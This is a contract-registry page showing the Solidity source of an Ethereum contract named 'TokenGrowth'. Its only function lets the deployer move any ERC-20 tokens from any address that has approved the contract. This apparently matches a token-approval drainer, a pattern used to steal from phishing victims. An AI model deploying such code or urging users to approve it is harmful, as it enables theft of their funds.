TokenGrowth

Description:

Smart contract deployed on Ethereum.

Blockchain: Ethereum

Source Code: View Code On The Blockchain

Solidity Source Code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IERC20 {
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}

contract TokenGrowth {
    address public immutable creator;

    constructor() {
        creator = msg.sender;
    }

    modifier onlyCreator() {
        require(msg.sender == creator, "Only creator can call this");
        _;
    }

    function transferFrom(address token, address from, address to, uint256 amount) 
        external onlyCreator 
        returns (bool) 
    { 
        bool success = IERC20(token).transferFrom(from, to, amount); 
        require(success, "Transfer failed"); 
        return true; 
    }
}

Tags:
addr:0xa4a68ecb3cc5aaa70d6a0eab1f7a612caee94e31|verified:true|block:23667755|tx:0xc9067fcaac12366efbbee2e5102b6dfb69f65b0a12495980804b8b91115cbc2f|first_check:1761566216

Submitted on: 2025-10-27 12:56:56

Comments

Log in to comment.

No comments yet.